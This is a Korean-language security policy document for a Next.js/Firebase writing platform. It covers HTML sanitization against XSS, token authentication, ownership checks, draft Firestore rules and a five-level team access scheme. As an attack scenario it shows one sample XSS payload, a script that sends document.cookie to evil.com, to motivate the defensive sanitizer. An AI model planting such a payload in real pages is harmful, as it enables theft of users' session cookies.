2025-12-02 06:27:21 +00:00

11 KiB

Security Policy

라온누리 프로젝트의 보안 정책 및 구현 내역을 문서화합니다.


🔒 보안 조치 요약

보안 영역 조치 상태 적용일
XSS 방지 HTML Sanitization 적용 완료 2025-11-19
인증 Firebase Auth 적용 완료 2025-10-xx
API 인증 JWT Token (ID Token) 적용 완료 2025-10-xx
SQL Injection Firestore (NoSQL) 원천 방지 -
CSRF SameSite Cookies 🚧 검토 필요 -
Rate Limiting API 요청 제한 예정 -

1. XSS (Cross-Site Scripting) 방지

문제점

  • 사용자가 작성한 글 (writings 컬렉션)의 content 필드는 HTML 문자열로 저장됩니다.
  • Tiptap 에디터는 안전한 HTML을 생성하지만, 악의적인 사용자가 API를 직접 호출하여 악성 스크립트를 주입할 수 있습니다.

공격 시나리오:

// 악의적인 API 호출
POST /api/writing
{
  "title": "정상 제목",
  "content": "<p>정상 내용</p><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
}

해결책: HTML Sanitization

백엔드 자동 세탁 (src/lib/server/writing.ts):

import { sanitizeHtml } from "@/utils/sanitizeHtml";

// 글 생성 시 자동 세탁 (Line 46-47)
const sanitizedTitle = sanitizeHtml(data.title);
const sanitizedContent = sanitizeHtml(data.content);

// 글 수정 시 자동 세탁 (Line 199-203)
if (data.title) {
  updateData.title = sanitizeHtml(data.title);
}
if (data.content) {
  updateData.content = sanitizeHtml(data.content);
}

세탁 규칙 (src/utils/sanitizeHtml.ts):

  • 허용된 태그: <p>, <strong>, <em>, <h1-6>, <ul>, <ol>, <li>, <a>, <img>, <blockquote>, <code>, 등 (Tiptap 기본)
  • 차단된 태그: <script>, <iframe>, <object>, <embed>, <style>, <link>, <meta>, 등
  • 차단된 속성: onerror, onclick, onmouseover, 모든 on* 이벤트 핸들러
  • 차단된 프로토콜: javascript:, 위험한 data: URI

라이브러리: sanitize-html (서버 사이드 전용, Next.js와 호환성 우수)

테스트 커버리지: 26개 유닛 테스트 (src/utils/__tests__/sanitizeHtml.test.ts)

  • 안전한 HTML 보존 테스트 (7개)
  • XSS 공격 벡터 차단 테스트 (10개)
  • Edge case 처리 (4개)
  • 실제 Tiptap HTML 호환성 (2개)
  • 배치 처리 및 객체 세탁 (3개)

성능 영향:

  • DOMPurify는 빠른 성능 (평균 1-2ms per document)
  • 글 저장 시 한 번만 실행 (조회 시 불필요)

2. 인증 (Authentication)

Firebase Authentication

  • 제공자: Email/Password, Google OAuth
  • 익명 로그인: 팀 코드 기반 (Level 1 보안)
  • 정식 계정: Google 계정 연동, 이메일/비밀번호

API 인증

모든 API 요청은 Firebase ID Token 검증:

// src/lib/auth.ts
export async function requireAuth(authHeader: string | null) {
  if (!authHeader?.startsWith("Bearer ")) {
    throw new Error("인증 토큰이 없습니다.");
  }

  const idToken = authHeader.substring(7);
  const decodedToken = await adminAuth.verifyIdToken(idToken);
  return decodedToken;
}

적용 위치: 모든 POST, PUT, DELETE API 엔드포인트


3. 권한 관리 (Authorization)

글 소유권 검증

  • 사용자는 본인의 글만 조회/수정/삭제 가능
  • 백엔드에서 userId 검증:
// src/lib/server/writing.ts
export async function isWritingOwner(writingId: string, userId: string): Promise<boolean> {
  const writing = await getWriting(writingId);
  return writing !== null && writing.userId === userId;
}

팀 권한

  • 소유자(Owner): 팀 설정 변경, 멤버 관리, 삭제
  • 멤버: 팀 조회, 주제 작성, 탈퇴

4. SQL Injection 방지

Firestore 사용으로 원천 차단:

  • NoSQL 데이터베이스 사용
  • 쿼리는 타입 안전한 SDK로만 실행
  • Raw SQL 쿼리 불가능

5. 데이터 보호

민감 정보 처리

  • 이메일: Firebase Auth에만 저장 (Firestore에 중복 저장 안 함)
  • 비밀번호: Firebase Auth가 암호화 관리
  • API 키: 환경 변수로 관리 (.env 파일, .gitignore 적용)

Firestore 보안 규칙

// firestore.rules (예정)
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // 사용자는 본인 문서만 읽기/쓰기
    match /users/{userId} {
      allow read, write: if request.auth != null && request.auth.uid == userId;
    }

    // 글은 소유자만 수정/삭제
    match /writings/{writingId} {
      allow read: if request.auth != null;
      allow create: if request.auth != null;
      allow update, delete: if request.auth.uid == resource.data.userId;
    }

    // 댓글: 누구나 읽기 가능, 작성자만 수정, 작성자/글소유자/팀소유자 삭제
    match /comments/{commentId} {
      allow read: if request.auth != null;
      allow create: if request.auth != null;
      allow update: if request.auth.uid == resource.data.userId;
      allow delete: if request.auth.uid == resource.data.userId || 
                   (resource.data.writingUserId == request.auth.uid) ||
                   (resource.data.teamOwnerId == request.auth.uid); 
    }
  }
}

6. HTTPS 강제

Production 환경:

  • Vercel 배포 시 자동 HTTPS 적용
  • HTTP → HTTPS 자동 리다이렉트
  • HSTS 헤더 설정

7. 환경 변수 보호

민감 정보 관리:

# .env.local (로컬 개발)
NEXT_PUBLIC_FIREBASE_API_KEY=xxx
NEXT_PUBLIC_FIREBASE_AUTH_DOMAIN=xxx
FIREBASE_SERVICE_ACCOUNT_KEY=xxx  # 서버 전용

보안 체크리스트:

  • .env 파일은 .gitignore에 포함
  • NEXT_PUBLIC_*은 클라이언트 노출 가능 (Firebase API Key)
  • 서버 전용 변수는 NEXT_PUBLIC_ 접두어 없이 사용
  • Production 환경 변수는 Vercel에서 관리

8. Rate Limiting (예정)

계획 중인 조치:

  • API 엔드포인트별 요청 제한 (예: 1분당 60회)
  • DDoS 방지
  • Vercel Edge Functions + Upstash Redis 고려

9. 보안 취약점 발견 시

보고 절차

  1. 즉시 보고: GitHub Issues에 비공개 이슈 생성 (Security Advisories 사용)
  2. 제목 형식: [SECURITY] 취약점 요약
  3. 포함 정보:
    • 취약점 설명
    • 재현 방법 (PoC)
    • 영향 범위
    • 제안 해결책

보안 업데이트 절차

  1. 취약점 확인 및 우선순위 설정
  2. 패치 개발 및 테스트
  3. 긴급 배포 (Critical 취약점)
  4. 공개 공지 (패치 후)

10. 보안 체크리스트 (개발자용)

새 기능 개발 시 확인 사항:

  • 사용자 입력 검증 (클라이언트 + 서버)
  • HTML/SQL Injection 방지
  • 인증/권한 확인
  • 민감 정보 로깅 금지
  • HTTPS 사용
  • 환경 변수 적절히 관리
  • 에러 메시지에 민감 정보 노출 금지
  • 보안 테스트 작성

의존성 관리:

# 정기적으로 취약점 검사
npm audit
npm audit fix

# 의존성 업데이트
npm update

11. 참고 자료


13. 5단계 보안 레벨 시스템

라온누리는 팀별로 선택 가능한 5가지 보안 레벨을 제공합니다.

보안 레벨 개요

Level Enum 이름 익명 허용 가입 제한 주요 사용처
1 OPEN 완전 개방 닉네임 공유 로그인 공개 워크샵, 체험 수업
2 NAME_LIST 명단 기반 allowedNames 체크 저학년 반 (익명이지만 통제)
3 AUTH_REQUIRED 로그인 필수 정식 계정 누구나 고학년 반 (구글 계정) 추천
4 EMAIL_LIST 이메일 제한 allowedEmails 체크 특정 학생만 (전학생 차단)
5 CLOSED 닫힌 팀 신규 가입 차단 졸업반, 종료된 프로젝트

핵심 동작

Level 1 (OPEN):

  • 닉네임 중복 시 Custom Token으로 재로그인 (익명 계정만)
  • 정식 계정 탈취 방지 (Custom Token API에서 익명 체크)
  • 보안 조치: Firebase Admin SDK로 providerData 검증
    • 익명 계정 (providerData.length === 0): Custom Token 발급
    • 정식 계정 (Google/Email): 403 에러 반환
// POST /api/team/get-custom-token
const userRecord = await adminAuth.getUser(uid);
if (userRecord.providerData.length > 0) {
  // 정식 계정 → 거부
  return forbiddenResponse("해당 이름은 다른 사용자가 사용 중입니다.");
}
// 익명 계정 → Custom Token 발급
const customToken = await adminAuth.createCustomToken(uid);
return successResponse({ customToken });

Level 2 (NAME_LIST):

  • team.allowedNames 배열 체크
  • 익명 로그인 허용하되, 등록된 이름만 입장 가능
  • 저학년 반에 적합 (익명이지만 통제)

Level 3 (AUTH_REQUIRED):

  • user.isAnonymous === false 체크
  • 정식 계정(구글/이메일) 필수
  • 고학년 반 권장

Level 4 (EMAIL_LIST):

  • team.allowedEmails 배열 체크
  • 특정 학생만 접근 가능 (이메일 화이트리스트)

Level 5 (CLOSED):

  • uid in team.members 체크만
  • 신규 가입 차단, 기존 멤버만 접근

레벨 변경 규칙

await teamManager.updateSecurityLevel(teamId, 4, true);
// autoPopulateList: true → 기존 멤버 이메일/이름 자동 등록
// Level 3→4: 기존 멤버 이메일 자동 등록
// Level 2→4: 기존 익명 멤버는 유지, 신규는 정식 계정만

API 엔드포인트:

  • POST /api/team/:teamId/security-level - 보안 레벨 변경
  • POST /api/team/:teamId/allowed-names - 이름 추가 (Level 2)
  • DELETE /api/team/:teamId/allowed-names - 이름 제거 (Level 2)
  • POST /api/team/:teamId/allowed-emails - 이메일 추가 (Level 4)
  • DELETE /api/team/:teamId/allowed-emails - 이메일 제거 (Level 4)
  • POST /api/team/get-custom-token - Custom Token 생성 (Level 1)

참조: DATA_MODELS.md, API_SPEC.md


14. 데이터 모델 보안

User 타입 최소화

  • FirestoreUser (DB): uid, createdAt, lastLoginAt, settings만 저장
  • User (UI): Firebase Auth + Firestore 자동 결합
  • 이름, 이메일, 사진은 Firebase Auth가 Single Source of Truth
  • 보안 이점: 민감 정보 중복 저장 방지, 데이터 일관성 보장

닉네임 저장 위치

  • users.nicknames[teamId] (기존) - 중복 저장
  • team.members[uid].nickname (신규) - 단일 진실 공급원
  • 보안 이점: 팀 탈퇴 시 자동 삭제, 권한 관리 용이

memberUids 제거

  • team.memberUids 배열 (중복, 동기화 이슈)
  • Object.keys(team.members) 사용
  • 멤버 확인: uid in team.members
  • 보안 이점: 데이터 불일치 방지, atomic 업데이트

© 2024 BlueNovaLab. All rights reserved.